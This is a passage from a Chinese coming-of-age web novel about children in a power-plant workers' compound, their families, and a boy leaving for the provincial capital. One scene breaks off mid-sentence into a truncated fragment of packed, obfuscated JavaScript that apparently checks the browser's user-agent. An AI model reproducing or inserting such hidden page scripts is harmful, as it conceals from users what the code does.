如果我曾经欺瞒,那是我以为爱中也必有谎言。 像未能降生的婴孩,像长着犄角的野兽; 我刺伤了每个对我敞开怀抱的人。 谨以此歌起誓,一切过失都将被补偿。 林其乐认为这首歌听起来“死气沉沉”的,她问蒋峤西,歌词是什么意思? 蒋峤西看了她一眼,摇头。 林其乐在他面前撒娇似的:“那你再唱一次。”< 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“是我堂哥的。” 林其乐把那张稀罕的机票拿到眼前看,也看不懂。 蒋峤西身上,有很多东西,很多事情,一直是林其乐看不懂的。 蒋峤西把机票拿回去了,放回那个隐秘的小空间里。 初冬的早晨,秦野云的爸爸摔倒在自家店铺门前。许多工人早起上班,都看见他膝盖鼓起一个大包,都不知已经鼓了几个月了,把裤腿撑得满满的。 “老秦,”他们骑着自行车,停下来,“你还是上医院看看去吧!” 林其乐他们几个小孩子去上学,也撞见了这一幕。 秦叔叔被很多人扶起来了,他额头都是汗,却坚持道:“没事,没事。” 等到放学时候,林其乐看到秦叔叔小卖部门口围的全是人。 她背着书包过去,从屋里传来了余樵爸爸的声音。 “咱们做工人的,踏踏实实就是工人!老秦,你实话说,你是不是受汪道临的刺激了?” “余哥,余哥,”秦叔叔反而是安抚余叔叔的那个,“我没事,我好着呢!我感觉我很快就能好了——” “放屁,看你这腿,”余叔叔骂道,“你现在跟我去医院!” “我不去!”秦叔叔声音急促,“余哥!余哥!你就别害我了,我不去,我不去,我真的——我不能去!我要是去了,我就前功尽弃,功亏一篑了——” 秦叔叔情绪很激动,余叔叔一样激动。秦叔叔说:“我还有闺女——野云看着呢,野云在屋里看着呢。余哥,你别害我,余哥,我求求你,我求求你了!” 林电工下了班,听说小卖部出了事,也赶忙过来。秦叔叔死活也不肯去医院,他说他马上就能好了,他已经感觉自己的腿能动,脚下有劲儿了,他明年就能回到岗位复工。他说他一辈子都在走霉运,他有预感,预感到他的未来要改变了。 寒假到了,蒋峤西不肯回省城。他暑假不回也就算了,连过年也不想回去。他的母亲梁虹飞觉得不对劲,几次打电话来,蒋峤西都说他想留在群山学习。梁虹飞强硬,蒋峤西态度更强硬。 梁虹飞说:“我听群山调回总部的阿姨讲,你在群山找了个‘小女朋友’?” 蒋峤西握着听筒,心往下沉。 连蒋峤西自己都没听说过这种话。 梁虹飞说:“不回来就不回来吧,我正好去群山看看你们父子俩。” 梁虹飞定在大年初一来群山。 群山下了场大雪,工人俱乐部前的喷泉结了冰。林其乐穿着新棉鞋,小心翼翼踩到了冰面上。 杜尚说:“樱桃,你小心点!” 林其乐发现冰面很结实了,就在上面随意踩来踩去。 工人俱乐部离秦野云家的小卖部很近。就在杜尚对林其乐说,他正对着香港电影学习咏春拳的时候,小卖部里突然爆发出一阵哭声。 是秦野云的声音:“爸!爸爸!!” 余班长从工地赶回来,他闯进秦家的小卖部,二话不说扛起人来就走。“野云!”他喊道,“你去找余樵,让他带你去医院!” 那天夜里,在群山市人民医院,许多不得不在医院过年的病人都在看电视新闻。 秦叔叔做完了手术,还处于昏迷状态,被大夫从手术室里推着出来。 秦野云吓坏了,她在病房外面抱着余樵大哭,泪水打湿了余樵身上的羽绒服。 余樵多半也不知道怎么办,只能让她抱着。他听到大夫说,幸好送来得及时,再拖下去,整条腿都要救不了了。 林其乐用医院的公话给蒋峤西家打过去,没人接。杜尚也跟来了医院,他问:“樱桃,蒋峤西这几天干什么去了?” “他妈妈要来。”林其乐轻声说,盯着手里的听筒。 杜尚不明白:“所以呢?” 16. 第 16 章 过年那几天,秦野云一直寸步不离跟在余樵身边。余樵去哪里,她就去哪里。 余樵来林其乐屋里看报纸,秦野云就坐在他身边涂指甲油。 林其乐和她坐这么近,她们也不打架了。 秦叔叔似乎已经醒了,可一直也没出院,以前的老同事轮流去探望他。工地上有人传闲话,说腿病易治,心病难医,市里大夫治得了病,治不了命:“以前怎么劝都不听,魔怔了!现在你看,出院这人怕是也完了,老秦这几年除了练气功还干过点儿啥?” 连妈妈也在家中与爸爸小声议论:“老秦现在怎么样?” 爸爸说:“手术挺成功啊。” 妈妈问:“那能回来上班了?” 爸爸摇头。 余叔叔时不时过来找爸爸,要么是去人民医院,要么是去秦家小卖部:“我找了几个小年轻搬家具。老林,你去翻翻他那些书啊碟的,该扔的都扔了!” 秦野云涂着指甲油,和杜尚炫耀:“我家现在可新了!余叔叔给我家换了全套新家具!” 杜尚皱起眉,嘟囔:“这么好啊……” 蔡方元说:“你也没请过我们去你家啊。” 旁边林其乐一直一声不吭,揪怀里波比小精灵的绒毛,闷闷不乐。 秦野云瞅她一眼,问:“蒋峤西怎么没跟你们玩,他回省城啦?” 蔡方元百无聊赖道:“没,他妈来了!” 蒋峤西的妈妈是2001农历新年那天来到工地的。她与这片工地宿舍的一切都是那么格格不入,不喜欢串门,也不与别的工人交际。 自然也没多少人遇见过她。 林其乐并不清楚为什么,但一遇到她,林其乐就提心吊胆的,非常害怕。 “这是……蔡经理家的千金?” 第一次见面,蒋峤西的妈妈站在蒋家父子身边,停在工地宿舍门口,而林其乐随蔡方元坐在蔡叔叔的小汽车里。 她对林其乐笑了,一笑起来,像极了电视上的武则天。她像个女皇。 蔡经理说:“不是,是林工林海风家的闺女,我们群山工地的林樱桃!” 蒋峤西的妈妈平平淡淡“哦”了一声。 蔡经理的司机把车开出了工地,带后面两个小朋友进城去买爆竹。林其乐隔着车窗,看到蒋峤西面无表情地站在他父母身边,他的眼神也掠过来了,望向了林其乐。蒋峤西脸色苍白——不知是天气太冷,还是别的什么原因。 林其乐想起她在群山第一次遇到蒋峤西时,蒋峤西也是这样的脸色,白得不真实,病态,像深冬的雪。 这个新年,林其乐很孤单。 明明每时每刻都和余樵、杜尚他们在一起,林其乐却总想些别的事情。她戴着大红色的棉帽,穿大红色棉鞋,手上套着大红色毛线手套,工地上的叔叔阿姨一见她就笑,说她像个中国娃娃。林其乐手里提着杜尚妈妈给她做的莲花灯,沿群山工地无数条大路小路溜达。 她走过许多人家的门前,就这么走着,也没心情数人家房檐上倒挂的冰凌。小孩子们在堆雪人,打雪仗,林其乐感觉自己长大了,对那些也不再感兴趣。 她走到蒋峤西家门外,抬起头,看到蒋家亮着灯的窗户,还有紧闭的房门。 她已经好几天没见过蒋峤西了。 吃晚饭时,妈妈问:“樱桃,怎么了?” 林樱桃抬起头,碗里有吃了一半没再吃的排骨,她看妈妈,又看爸爸。 林电工好像有点无奈,说:“樱桃,你是不是听说什么了?” 听说什么?林其乐看他们,不知道。 妈妈伸手一推爸爸,说:“几个老太太胡说八道,你和樱桃说这个干什么。” 林电工却看着樱桃懵懂的脸,笑了,说:“我们樱桃还小,是不是啊。” 饭吃完了,林电工握住了林其乐的手,要带她去余叔叔家串门。 巧的是,门一出,正好碰见隔壁蒋经理一家人也要出门。 蒋经理开口叫道:“林工!” 林其乐感觉爸爸把她的手松开了。 林电工与蒋经理寒暄起来。蒋经理对他太太梁虹飞介绍,说刚调来群山那半年,他和蒋峤西基本都在林工家吃饭。 蒋峤西背着他的小书包,站在父母身边。林其乐穿着大红色的外套,一开始还不敢走过去,是听见蒋峤西的妈妈和自己爸爸说话了,她才犹豫着过去了。 “蒋峤西……”她小声说。 不再是那种无所顾忌的,肆无忌惮笑着叫他了。 而是小心翼翼地。 蒋峤西也看林其乐。 有那么一会儿,两个小孩儿谁都不知道应该说什么。 林其乐说:“你知道工地门口新开了个海鲜包子铺吗?” 蒋峤西摇头。 “可好吃了,要早起排很长时间队才能买到,”林其乐对他讲着,好像自己都馋了,她笑道,“你要吃吗,我明天和余樵他们去排队。” “好。”蒋峤西轻声道。 奇怪,好像只有走得这么近,面对面地听他开口说话,看着蒋峤西的眼睛,林其乐才会觉得,这确实是她认识的那个人。 蒋峤西很快走了。他背对林其乐,被他父母带进了夜色。林其乐听到那汽车引擎声,扬长而去。 第二天一早,林其乐早早从床上跳起来,穿上棉衣,和余樵、杜尚、秦野云一起去工地门口早点摊前排队。秦野云与她从幼儿园起就是同学,从未像这个寒假这样亲近。 毕竟余樵站在旁边,她们俩谁先动手都要被弹脑瓜崩儿。 大冬天,着实冷,长队里人人缩着脖子。余樵给他全家人买了包子、油条,还有他小表弟余锦哭着要喝的甜豆浆。 周围排队的工人谁见了余樵都夸他,劳动模范余班长的儿子,长这么高个儿,将来定有出息! 林其乐相比之下就比较没出息了。她给爸爸买两个包子,给妈妈买两个包子,给自己买了一个,然后又买了四个鲜虾包给蒋峤西。 也许他爸妈会想要一起吃?林其乐这样猜。 腊月隆冬,寒风凛冽。林其乐穿着棉衣,她看了看自己的口袋,装不下,便拉开棉衣的拉链,把那四个鲜虾包放进怀里。 蒋峤西是第一次吃,林其乐感觉,热的是最好吃的。 余樵看她:“你干什么呢?” “我先走了!”林其乐说完就跑。 她来到蒋峤西家门前,把包子拿出来提在手里,她鼓起勇气,去敲蒋峤西的家门。 敲了好一会儿,门才打开了。 蒋峤西穿着格纹睡衣睡裤,披了件外套,站在门里。 林其乐一下子笑了,说:“蒋峤西,我买到鲜虾包了!” 蒋峤西眉头微皱,还没说话,在他身后有个女人开腔了。 “谁啊?” 然后是蒋经理的声音:“蒋峤西,谁来了。” 林其乐愣了愣,她见蒋峤西也不说话,蒋峤西总处在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔡方元进了林其乐家。他还一脸困意,把手里的数学课本朝林其乐一扔,他就躺在林叔叔的大床上开始了第二次睡眠。 林其乐把数学课本翻开,看到蒋峤西写的一行字: “我妈走之前,你就当不认识我,”蒋峤西写道,“开学以后再陪你玩。包子你想吃我去给你买。” 蔡方元刚迷糊了一会儿,就被林其乐给拼命摇醒了。 蔡方元挥着手,让她消停会儿:“行了行了,我听见他妈让他转学回省城,他不愿意……” 当晚,蒋家的家门又被人敲开了。 林其乐还穿着白天时那件红袄,端着手里一盘热乎乎的枣面馒头。 “蒋叔叔!”她说,“我妈妈蒸了一筐枣面馒头,让我给你送一点来。” 蒋经理在卧室里道:“谢谢樱桃,放在桌子上吧。” 梁虹飞说:“小姑娘,你拿走吧,我们不爱吃馒头。” 蒋经理说:“梁虹飞!你有完没——” “叔叔阿姨,我把馒头放在桌子上了。”隔着一扇卧室门,林其乐大声说道。 她的声音又甜又脆,天真无邪,反倒让大人不知道怎么接话了。 林其乐走过了来开门的蒋峤西身边。“叔叔阿姨,我回家了!”她说。 她抬起眼,看了蒋峤西,像地下党接头。蒋峤西身披着外套看她,没忍住也悄悄笑了。 17. 第 17 章 一盘枣面馒头被孤零零丢在了厨房里,没人碰它。 直到了半夜,才有个睡不着觉的男孩子穿着睡衣起来了。他一手攥着奥数书,一手拿着笔,走进冷清寥落的厨房。灯打开了,他在角落里找了个木凳子坐,一面把书摊开了继续算题,一面掰开枣面馒头,吃在嘴里应付肚子饿。 与之相比,仅住一墙之隔的林樱桃看上去就幸福多了。 她白天在家看看漫画书,玩玩芭比娃娃,偶尔和小伙伴一起写会儿作业——与其说是一起写,不如说是找着机会打闹。余樵最讨厌语文课了,连语文作文他也要抄林其乐的。 “我的家,在有三座晾水塔的地方。”余樵拿起林其乐写的作文,皱着眉头字正腔圆念出第一句。 “林樱桃,你会数数吗。”余樵问。 “怎么了?”林其乐玩着她的波比小精灵。 蔡方元在旁边说:“傻了吧!有几座晾水塔都不知道!” 于是他们便放下寒假作业跑出去了,跑出了家属大院,去往工地的方向,去数到底有几座晾水塔。林其乐跑到一半,抬头忽然望见天上有一朵一朵的厚云,朵朵都圆滚滚的。 好像肉包子。她想。 四个人这么跑出来,谁兜里都没带钱,想吃什么都没得买。回家的路上,杜尚问:“樱桃,蒋峤西他妈什么时候走啊?” “我不知道。”林其乐说。 “可能要等开学才走。”蔡方元说。 “杜尚,”余樵问,“你爸什么时候回来?” 大年初八那天,群山市科技广场开业了。林电工揣着手里一笔积蓄,和余班长、邵司机一同去了市里。 他当晚搬回一台电脑来,有机箱,有显示器,一大套复杂得很。蔡经理俨然是一位电脑专家,来帮林电工连家里的电话线,拨号上网,不亦乐乎。 “上网干什么啊?”林其乐看着大人们瞎忙。 蔡经理撸起袖子来插“猫”,说:“现在全世界都上网,你不上网,你以后就落伍了!” 蔡方元从他家抱了一盒子的光盘过来。他难得勤快,挨个给林家的电脑安装软件。对这些东西,他如数家珍,眼睛盯着电脑屏幕,手握着鼠标点点点,啪啪啪打字,溜得很。 林电工在旁边由衷感慨:“方元这么会用电脑啊?” 蔡经理满脸笑意,看样子对儿子颇为骄傲。“别看蔡方元年纪小,学起电脑是真快,可能还真在这方面有一点天赋!”蔡经理对林电工喜滋滋道,“要是学别的也这么快就好了!” 林其乐坐在了蔡方元身边,也看自己家的电脑屏幕。 “我想要《仙剑》。”林其乐对他说。 蔡方元“嗯”了一声,开始找安装盘。 林其乐发现蔡方元平时做什么事都慢吞吞,不着调。但一坐到电脑跟前,就会无意识地开始扮酷。林其乐忍不住想笑。 “你还有什么游戏啊?”她问。 蔡方元难得慷慨,可能是听到了自己父亲的夸奖,更想一显身手。他对林其乐摆了摆他那只胖胖的小手:“想玩什么,随便说!” 杜尚的父亲年后回来。余樵叫杜尚去他家睡觉,杜尚不去。 “我妈不走,我也不走。”杜尚这么说,很是固执。 “那你劝劝你妈,一块儿来住啊。”余樵说。 “我妈她不愿意,”杜尚也很为难,说,“我爸一年就回一次家。我妈说,如果我们娘俩儿都搬出去了,那我爸可能更……” “那他再打你怎么办?”林其乐问。 “没事儿!放心吧樱桃!”杜尚听到林其乐的关心,立刻咧嘴一笑,他伸手当空比划了一下,“我练了一年咏春拳,已经不是‘东亚病夫’了!” 当晚,林其乐又在医院见到了杜尚,他被他毫发无损的妈妈背进医院里。 杜尚头上包了块纱布,眼窝青紫的。他声音有点虚弱,又格外平静。他喘着气,对坐在床边剥橘子的林其乐说:“樱桃,我觉得……我确实没什么武学天赋……” 旁边大夫过来,让林樱桃帮忙扶住杜尚,给他的眼睛做检查。 等检查完,天都亮了,大夫也走了。林其乐听见杜尚喃喃道:“都说老子英雄儿好汉,老子狗熊儿混蛋,可我就是打不过他……这说明,我是和他不一样的。” 元宵节那天,林其乐坐在沙发上看元宵晚会,跷着脚吃汤圆。 蒋峤西则披着外套,坐在书桌前学习。 他用笔在演算纸上胡乱写一些没什么意义的数字,画一些断断续续的圈圈线线。梁虹飞和蒋政就在客厅收拾行李。仅隔一扇门,蒋峤西不用多费心,就能听见他们争吵的声音。 “省城外国语小学的张校长看了蒋峤西的成绩,挺满意的,说六年级回去也能跟上。” “那你现在打算怎么办。”蒋政说。 “我打算怎么办?蒋政,你明知我这半年调不回去带不了他,你就不能找领导把你弄回省城总部?” “领导有领导的安排。”蒋政说。 “那你就对自己儿子的教育一点儿都不上心?” 蒋政说:“我这不带着他了吗!你还想让我怎么上心?” “你让他到群山这个小地方来上学,”梁虹飞哽咽道,“这学校连英语课都没有,你就是这么上心的!” 蒋政说:“行了吧,梁虹飞,你自己也不带他。你知道我挺不好受的。” 蒋峤西听到了女人紧紧压抑,却压抑不住了的哭声。 他习惯了这种事,习惯听到父母大肆地争吵,然后又因为某个瞬间,也许是触动了某种情感,就沉默下来。母亲会哭泣,父亲则抽着烟看电视,或在沉默中偶尔叹息。 也就只有这种时候,他们看起来更像一对夫妻——或许也不是夫妻,是战友。 他们曾一起“参过军”,一起经历一场漫长而残酷的“战役”。 他们会聊起一些过往的生活细节:蒋梦初的出生,蒋梦初的长大,蒋梦初在还未上学时就显露出超然的天赋,让省城大大小小的老师、教授都为之惊叹。 从蒋梦初四岁那年起,蒋政和梁虹飞这对夫妇就打算为培养这个超人一般的儿子奉献出自己的一生,他们将其视为一种“使命”,是上天赐予的光辉,让他们的整个家庭都不再平庸。 “天才”蒋梦初,四岁开始学习奥数,十三岁遭遇意外,早早夭亡。整整十年,他的父母将所有的个人时间,将整个家庭的全部资源都倾注在这个孩子身上。孩子走了,便把这所有也一并带走了。 蒋峤西坐在书桌边,继续写作业。台灯后面是一摞从香港寄来的英文奥数教材。书与书中间夹着几张金色红色相间的纸,那是中能电厂小学年前发给蒋峤西的奖状,三好学生,四冠王,群山市状元…… 门外母亲的哭声,让这一切都毫无价值。 正月十六一早,梁虹飞提着行李,打算乘车回省城去。走之前她告诉蒋峤西,要好好学习,再过半年母亲的工作就调整好了,就可以把蒋峤西接回省城去上学了。 群山工地的几个小孩子背着书包,远远站在路口。他们也许是想来找蒋峤西,但又碍于梁虹飞在,不敢靠近。 “你这个寒假表现不错,”梁虹飞对蒋峤西说,“想要什么,给我打电话,省城不是买不着,别总麻烦你堂哥。” 蒋峤西听着,也不言语。他目送母亲乘车离开这条马路,直到再也看不见了,他才转过身,往路口那群同龄孩子的方向走去。 林其乐还梳着两根马尾,穿着红外套,脸上带着笑地看他。 蒋峤西没走到她身边,而是和余樵并排,一起在后面。林其乐在前头带路,时不时回头。大约是发现蒋峤西也在看她,林其乐高兴得走路都像兔子在跳。 蒋峤西十一岁生日那个周末,他出钱,请四个朋友,连同老跟在余樵身边的秦野云一起,去市里的游戏厅玩。秦野云和林其乐在跳舞机上疯狂斗舞的时候,蒋峤西把买的果汁端过来了,他听到蔡方元靠在墙边,和余樵说:“哎,你发没发现……” 蒋峤西把果汁给他们。 蔡方元喝了一口,才压低声音说:“你们发没发现,林樱桃好像有……” 他两只手捂在自己胸口,就这么稍微比划了一下。 蒋峤西愣住了。 他转过头,看正在跳舞机上毫不在意地蹦来蹦去的林其乐。 余樵没接话茬,低头喝果汁。杜尚推了蔡方元一把。 过完这个生日,蒋峤西就十一岁了。当他察觉到自己的裤脚开始变短,他正在飞快长个子的时候,林其乐也变得有点奇怪了——她走路会不自觉含着胸,好像穿了什么奇怪的衣服,整个人都有点扭捏。 “你怎么了?”蒋峤西在课间时问。 林其乐噘了噘嘴,也不说话,就叼着吸管坐在蒋峤西身边喝果汁。 蒋峤西偏头看她,发现林其乐穿的嫩黄色衬衫的肩膀处,有一条淡淡的旁人很难注意到的痕迹。 蒋峤西有种感觉:过去只有他知道林樱桃是个女孩。而现在,所有人都能看到她的花苞了。 四月一日发生了一件大事,美国有架侦察机在南海撞毁了中国的一架战斗机,飞行员牺牲了。 大人们夜里都在讨论这件事,听他们的意思,似乎中美之间随时会爆发第三次世界大战。 “炸我们大使馆,又来撞我们飞机,这不明摆着找碴儿吗?” 林其乐也看了这条新闻,她问余樵:“你以后还要当飞行员吗?” 余樵的裤子也露了一截脚踝,他本来就高,个头还继续往上蹿。他低头看林其乐:“我不当你当?” “打仗了怎么办啊?”林其乐问。 “去打呗。”余樵说,听上去理所当然。 林其乐夜里和蒋峤西商量:“你不要去美国 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林其乐自己好像没有察觉。男生,女生,这是截然不同的两个物种。小学上到了五年级,小朋友们就不能再像以前那么混混沌沌地一起打闹了,女孩子们凑在一块儿说话,男生们则大汗淋漓地打球、吹牛,彼此泾渭分明。 一旦有谁逾越了那条界限,哪怕只是男女生之间递个水,借个橡皮,都有同学没完没了地起哄。 唯独林其乐,她还和余樵、杜尚、蔡方元、蒋峤西在一起玩儿,又因为她爱打架,没人敢起她的哄。 四月初,林其乐终于也迎来了属于她的十一岁生日。林电工去群山市新华书店,买了三本《哈利·波特》小说送给她。林其乐早在《中国少年报》上看过这个小说的连载,早就想要了。 蒋经理听说林樱桃过生日,拿钱包让蒋峤西从里面拿点钱,请小同学一起吃个饭:“你再过三个月就走了,和你同学都说过了吗?” 蒋峤西有他自己的零花钱,但他还是接过了父亲的钱包,一打开,一张照片映入眼帘。 一家三口人,幸福地笑着,在泰山顶上迎接日出。 里面并没有蒋峤西,他把钱包合上了。 林其乐津津有味地坐在竹席子上读《哈利·波特》,读得废寝忘食。她告诉蒋峤西,她不怎么喜欢看《西游记》。她不喜欢师徒四个人在险恶的世间一次次地遇险、赎罪、历经考验,她喜欢看哈利和朋友们一起,在邓布利多教授的指引下飞速成长,认识这个广袤的充满爱的魔法世界。 “你相信这个世界上有魔法吗?”林其乐问。 蒋峤西摇头了。 林其乐的眉毛果真就耷拉下来。“我知道,”她说,“你喜欢《西游记》,你最喜欢孙悟空。” 她拆开蒋峤西送给她的生日礼物,居然是一支口红。 “为什么送给我这个……”林其乐把这支黑管口红拿在手里,她来来回回地看,觉得新鲜极了,有两个相反的“C”印在口红的一端,她不知道那是什么。她还只是个小女孩,从没有像成熟的女士那样,拥有过自己的口红。 蒋峤西瞧林其乐的脸。 他们拿了面镜子来,林其乐坐到跟前,把口红小心翼翼旋开了。当着蒋峤西的面,她很认真地,把那像极了樱桃浆果的红色膏体涂抹到自己嘴上。 “好看吗?”她抿一抿自己的嘴唇,凑到跟前兴高采烈问他。 那是林其乐十一岁的第一抹红。 第二抹出现在那年五月份,林其乐和余樵他们在外面玩,一开始只觉得有点难受,不舒服,她跑着跑着停下了,才觉得是自己肚子疼。 回到家里,一拉下裤子,居然见到血了。林其乐的眼泪当即滚下来。 中午妈妈下班回来,哄她哄了好久。林其乐自己忍着肚子疼,蹲在小盆子边洗内裤。 午睡时妈妈搂着她,在小床睡。妈妈说,女人都会流血,因为女人将来要生小宝宝。 杜尚发觉林其乐上课时一直神游天外。下了课,林其乐也不出去玩了,她在作业本背面画了一个小女孩,那小女孩长着七彩的长发,额头上有一道闪电似的疤,她有一对小翅膀,手里挥舞着魔杖,脚下还有筋斗云,能腾云驾雾。 “樱桃,你画的是什么啊?”杜尚问。 林其乐从她课桌洞里摸出水彩笔,在小女孩的头发上尽情涂色。她说:“我在画我将来的小宝宝。” “小宝宝?”杜尚问,“给我看看。” “不要,”林其乐说,“我的小宝宝,不给你看。” 她画了半天,才把颜色涂完了。她用红色的笔在小女孩胸前点了一个小点,当作是她未来要送给她的樱桃琥珀。 她在旁边一笔一画写下了小女孩的姓名:蒋莼鲈。 刚一写完,杜尚就把画拿起来了:“不对啊樱桃!你的宝宝为什么姓蒋啊?” 18. 第 18 章 那天放学回家路上,蒋峤西看到了因为杜尚和林其乐的争夺,而变得皱皱巴巴的“蒋莼鲈”的画像。 林其乐背着小书包,走在他身边吃雪糕。 蒋峤西说:“樱桃。” “嗯?” 蒋峤西看了她一眼,犹豫道:“之前有群山工地的阿姨,告诉我妈……” “什么?”林其乐也看他。 蒋峤西看林其乐那个模样,吃个牛奶雪糕,也能蹭的脸蛋上都是。雪糕化了,沿着雪糕棍滴到手指头上,林其乐也不介意。 蒋峤西摇头,不往下说了。 “告诉你妈妈什么?”林其乐问。 “说了你也听不懂。”蒋峤西道,高深莫测。 群山工地的叔叔阿姨,大爷大妈,爷爷奶奶们,确实爱说闲话。但也不只有群山这样。蒋峤西在省城总部,也没少听街坊四邻们一遍遍地议论、渲染关于他和蒋梦初的悲情故事。 临近六月,天热起来,林樱桃开始穿花裙子了。她穿着花裙子骑自行车,穿花裙子和余樵在工地上追追打打,穿花裙子在家玩电脑游戏,教杜尚怎么通关黑水镇和将军冢。 她穿着花裙子坐在蒋峤西身边,那连衣裙有个方形的衣领,露出一截肩膀来。 林其乐低头玩波比小精灵,她握着水彩笔,企图给小精灵染一个七彩的头发。 蒋峤西偏头看她,一个很特别的角度,他发现林其乐右肩后面有一颗很小很小的褐痣。 “我很好看吗,”林其乐突然抬头,发现了蒋峤西的视线,“你怎么一直看我。” 蒋峤西愣了。 “樱桃,”他说,“你琥珀的绳子快断了。” “啊?”林其乐连忙摸了一下自己脖子上的线,“没有啊。” 期末考试将近,蔡经理为了防止蔡方元玩游戏耽误学习,给家里的电脑机箱上了锁。余樵家里有老有小,也施展不开。所以一群男孩子一放学便跑到林其乐家去玩电脑。 他们一群人围在那么一块电脑屏幕前,一个人玩几分钟,轮流跑地图。 只有蒋峤西看起来兴趣缺缺,他坐在林其乐房间里,继续学他的奥数。 林其乐问,你为什么不玩游戏。 蒋峤西说:“人太多了。” 他喜爱在人少的时候玩游戏,譬如深更半夜。蒋政已经睡沉了,蒋峤西偷偷从家里溜出来。他趁着夜色,绕到这一排砖瓦房后,去敲一面小小的,被万年青掩住的窗户。 那不是别的窗,是林其乐卧室靠床的小窗。蒋峤西敲了三次,听到窗里有人醒了,是林其乐模模糊糊“嗯”了一声。 他便沿着小路,借着头顶遍洒厂区的朦胧月光,走回这一排砖瓦房前。 他站在林其乐家门外,等着林其乐来给他开门。 距离期末考试还有一个月,梁虹飞从省城打电话来,提醒蒋峤西要提前收拾行李,期末考试一结束,蒋峤西就要回省城去读外国语小学的暑期课程。 这回一走,蒋峤西觉得他应该这辈子都不会回群山来了。 他坐在林其乐家的电脑前头玩游戏,其实没什么好玩的,因为就没什么地图是他不会走的,没什么关卡是他过不去的。林其乐在旁边惊叹连连,一会儿和他讨论招式,一会儿和他讨论剧情,他们一起喝果汁,吃林其乐掰开的甜甜的枣面馒头。 蒋峤西几乎把林其乐家电脑上的游戏通关了一个遍:《红色警戒》《自由与荣耀》《大航海时代》《仙剑奇侠传》《剑侠情缘》《风色幻想》…… “这些游戏都是盗版的。”有一次蒋峤西对林其乐说。 “什么叫盗版的?”林其乐瞅着屏幕上的蓝色水晶。 蒋峤西炸下一个来犯的飞行器,他没说话。但林其乐想,蒋峤西大约是想说,说了你也不明白。 蒋峤西知道许多林其乐不知道的事,有时林其乐甚至觉得,他根本不是一个十一岁的男孩。包括在学校上课的时候,杜尚在作业本上偷画林月如的画像,蔡方元则在课本里夹着《风色幻想》的秘籍书反复研读,就连余樵也在琢磨红警里的飞机、坦克甚至尤里。 唯独蒋峤西,他认认真真听课,就算有不听课的时候,他也在看自己的书,一点儿也不为电子游戏所诱惑。 六月二十四号,那是一个周日。林电工夫妻俩都在工地加班,林其乐便去了余樵家吃饭。 秦野云也在。 男孩子们跑去外面踢球。余樵的妈妈一边吃饭,一边听林樱桃在席上发表她的演讲,题为:为什么蒋峤西是她认为这群人里最可靠的人。 余樵的妈妈边听边笑,旁边的秦野云烫了一头的波浪卷,像看傻瓜一样看林樱桃。 只听林樱桃说:“所有的电脑游戏,他只玩一遍就不玩了,白天还认真学习,没有沉迷游戏。这说明他以后也不会成为一个烟鬼或是醉汉。” 余樵妈妈邹阿姨听到这儿,笑得更厉害了。秦野云这时插话道:“我倒是觉得,他会对女生始乱终弃。” “什么意思,”林其乐一愣,“为什么?” “因为他玩过一次的游戏就不会再玩了啊!”秦野云理所当然道。 夜里爸爸妈妈下班,林其乐才回家来了。她走到门外,听见爸爸在里头问:“峤西回省城读六年级?” 蒋经理“嗯”了一声:“他妈工作安排好了,就叫他回去吧。在这里,你看看,成天来打扰你们。” 大人们站在狭小的屋子里聊天,电视机里正放《正大综艺》,而卧室的门敞开着,林其乐走进去,她一眼看到蒋峤西穿着件黑色的短袖衬衫,正把堆放在林其乐书桌上那些从香港寄来的奥数书往箱子里装。 林其乐傻站在原地,眼泪一下子涌进她的眼眶。 蒋峤西没准备这么早就告诉林其乐,也许他也知道林其乐会不高兴。从六月末到七月初,林其乐每天都无精打采,眼眶红红的,好像天塌陷了。 她到底为什么这么难过。她只有十一岁,她能懂什么。 蔡方元对蒋峤西说:“林樱桃就这样!工地上谁搬走她都哭!以前郑晓晨、陈明昊搬走的时候,她也鬼哭狼嚎的,甭理她!” 余樵也说:“不用哄,你让她哭完就完了。” 上学路上,林樱桃撇着嘴,走路像跺脚,也不讲话。下午放学回家,她蹲在后院的兔笼跟前抽泣,她的眼眶哭得怕是比小兔子的眼睛还红。 蒋峤西想了想,走过去了,蹲到她身边。 林樱桃见他来了也不理他。 蒋峤西直接伸手过去,把林樱桃怀里紧抱着的小兔子抢过来了。 “你干嘛抢我的兔子……”林樱桃哽咽道。 仿佛蒋峤西是个坏人。 蒋峤西也不看她,他把这只柔软的,令人爱不释手的小白兔搁到了地上,翻过来,让兔子肚皮朝上,他伸手摸了摸兔子白茸茸的腹部。 林其乐眼睁睁瞧着刚才还活蹦乱跳的小白兔四脚朝天,突然安安静静地不动弹了。 “它死了?”她崩溃道。 “它睡着了。”蒋峤西说。 “它好好的怎么会突然睡着?” 蒋峤西说:“你猜。” 妈妈推开后院的门,听见林樱桃也不哭了,也不闹情绪了,樱桃对蒋经理的儿子问道:“这怎么猜?” 电厂小学的期末考试定在周三、周四,连考两天。周四考完试当晚,蒋峤西又来到林电工家。 林电工夫妻和他在客厅说了会儿话,问他行李都收拾好了吗,明早几点出发,多久能到省城之类的。 蒋峤西在群山工地待了两年的时间,受了这一家人百般照顾,他对林叔叔和李阿姨自然心怀感激。 李阿姨笑着说,樱桃在卧室呢,可能在看漫画书:“估计期末考试又没考好,一回家就躲起来了。” 蒋峤西推开卧室门,一进去就听到小女孩吸鼻子的声音。 大衣柜后面是林其乐的小家,摆着一张小书桌,一张小床。隔着那层白蒙蒙的蚊帐,蒋峤西看不出林其乐在里面干什么。 他伸手把蚊帐拉开了。 一低头,就看到林其乐哭红了的脸。林其乐穿着睡裙,抱着怀里被染成七彩颜色的波比小精灵,正塞着耳机听音乐。 复读机里播放着那盘新人女歌手的磁带。 蒋峤西钻进了蚊帐里,像这一年来他每天在林家一样。他坐到林其乐面前:“你怎么又哭了。” 床本就是小床,罩了蚊帐,更显得里面是个小帐篷,有针掉的动静两人都能听见。 林樱桃把她耳朵里的耳机摘下来,她吸着鼻子,抬起那双湿漉漉的大眼,她用哭腔说:“蒋峤西……” 每次她念“西”这个字,拖着长音,总似乎能包含无限感情。 “为什么你一点也不难过呢?”林樱桃问。 蒋峤西抬起眼来看林樱桃的脸。 林樱桃的眼睛哭肿了,鼻尖也哭红了。林樱桃哭得出了汗,哭得长头发都湿了,贴着额头和圆脸蛋。 